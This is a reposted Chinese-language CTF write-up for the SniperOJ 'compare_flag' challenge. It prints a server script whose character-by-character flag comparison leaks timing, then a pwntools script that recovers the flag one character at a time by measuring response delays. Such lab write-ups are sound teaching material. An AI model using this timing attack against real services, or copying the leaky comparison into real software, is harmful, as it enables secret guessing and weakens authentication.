

# SniperOj-compare\_flag-Writeup

转载

[weixin\\_30340617](#) 于 2017-05-29 17:21:00 发布 63 收藏

文章标签: [python](#)

原文链接: <http://www.cnblogs.com/WangAoBo/p/6918474.html>

版权

## SniperOj-compare\_flag-Writeup

题目如上，只给了一个nc命令，那么连接到服务器如下

有如下的python代码

```
1 #!/usr/bin/env python
2
3 from time import sleep
4 from flag import flag
5 import sys
6
7 def compare_flag(input_flag):
8     length = len(input_flag)
9     if(length == 0):
10         return False
11     if(length > len(flag)):
12         return False
13     if input_flag.lower() == "exit":
14         exit(1)
15     for i in range(length):
16         if input_flag[i] != flag[i]:
17             return False
18         sleep(0.25)
19     return True
20
21
22 with open(__file__) as f:
23     code = list(f)
24     for i in code:
25         sys.stdout.write(i)
26         sys.stdout.flush()
27
28 for i in range(0x10000):
29     sys.stdout.write("Give me flag:")
30     sys.stdout.flush()
31     input_flag = raw_input()
32     compare_flag(input_flag)
33
34
35 Give me flag:
```

flag文件是保存在服务器上的，一时感觉无从下手，后来参考了UIUCTF的一道类似题目，分析如下：

```
该程序会比较输入的字符串与flag的对应位，当当前输入的字符串属于flag的子段时，程序会sleep(0.25)
```

因此通过观察时间间隔，我们就可以确定当前的字符串与flag的对应位是否相等，写了一个比较的脚本如下

```
1 import string
2 import time
3 import sys
4 from pwn import *
5
6 io = remote('www.sniperoj.cn', 30018)
7 res = sys.argv[1] if len(sys.argv) > 1 else ''
8
9 io.recvuntil('Give me flag:')
10 io.recvuntil('Give me flag:')
11 #s = io.recvuntil('flag:')
12 #print s
13
14 for c in "_" + string.ascii_letters + string.digits:
15     io.sendline(res + c)
16     start = time.time()
17     io.recvuntil('Give me flag:')
18     # s = io.recvline()
19     # print s
20     end = time.time()
21     print c, int((end - start) * 100)
22
23 io.close()
```

---

运行结果与分析

```
#根据flag形式，第一次先传入SniperOJ{，运行结果如下
```

```
□
```

```
因此可确定下一位的字符是c
```

```
#第二次传入SniperOJ{c，运行结果如下
```

```
□
```

```
因此确定下一位字符为m
```

多次运行，每次确定一位，最终得到flag为SniperOJ{cmp\_flag}

